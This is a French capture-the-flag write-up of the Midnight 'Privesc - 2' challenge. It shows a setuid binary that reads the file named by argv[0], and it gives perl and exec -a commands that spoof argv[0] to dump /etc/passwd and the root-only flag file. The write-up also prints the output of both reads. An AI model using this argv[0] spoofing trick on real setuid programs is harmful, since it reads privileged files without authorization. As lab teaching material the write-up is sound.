MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

🔑 Privesc - 2

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

🚩 Avoir le flag

Nous arrivons sur un challenge ou nous avons cela:

level2@Midnight:~$ ls -la
total 16
drwxr-xr-x 2 root  root  4096 Mar 15  2024 .
drwxr-xr-x 3 root  root  4096 Mar 15  2024 ..
-rwsr-xr-x 1 root level2 7320 Mar 15  2024 privesc2
-rwxr--r-- 1 root level2 7320 Mar 15  2024 privesc2.c

Nous avons un binaire bien intéressant avec les droits suid et s pour le groupe level2. D'après ce que nous avons, nous avons aussi le code source du binaire.

level2@Midnight:~$ cat privesc2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    FILE *f = fopen(argv[0], "rb");
    char buf[64] = { 0 };

    if (f == NULL) {
        printf("Error\n");
        return 1;
    }

    fread(buf, 1, 64, f);
    printf("%s\n", buf);
    fclose(f);
}

D'accord, nous voyons de suite la vulnérabilité du binaire. Laissez moi un peu vous guidé pour la résolution de ce challenge.

🕵️ Analyse du binaire

Enfaite le problème réside dans l'apelle du fopen avec le premier argument du programme. En effet, le programme ouvre le fichier passé en argument et le lit. Nous pouvons donc lire n'importe quel fichier sur le système. Si nous le faisons passer pour argv[0].

Par exemple si nous faisons cela:

level2@Midnight:~$ perl -e 'exec {shift} @ARGV' ./privesc2 /etc/passwd

Nous pouvons alors lire le fichier /etc/passwd.

Voici un exemple:

level2@Midnight:~$ perl -e 'exec {shift} @ARGV' ./privesc2 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin
level2:x:1001:1001:level2,,,:/home/level2:/bin/bash

🌟 Astuce

Si vous n'avez pas perl vous pouvez aussi utiliser exec:

level2@Midnight:~$ exec -a /etc/passwd ./privesc2

Nous pouvons alors utilisé cette petite technique pour avoir le flag.

level2@Midnight:~$ perl -e 'exec {shift} @ARGV' ./privesc2 /root/flag.txt
MCTF{GGWPGA2RgyfOYZKukWQuaf4K36iPQDr}

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
✨ Privesc - 1
Next
👑 Privesc - 3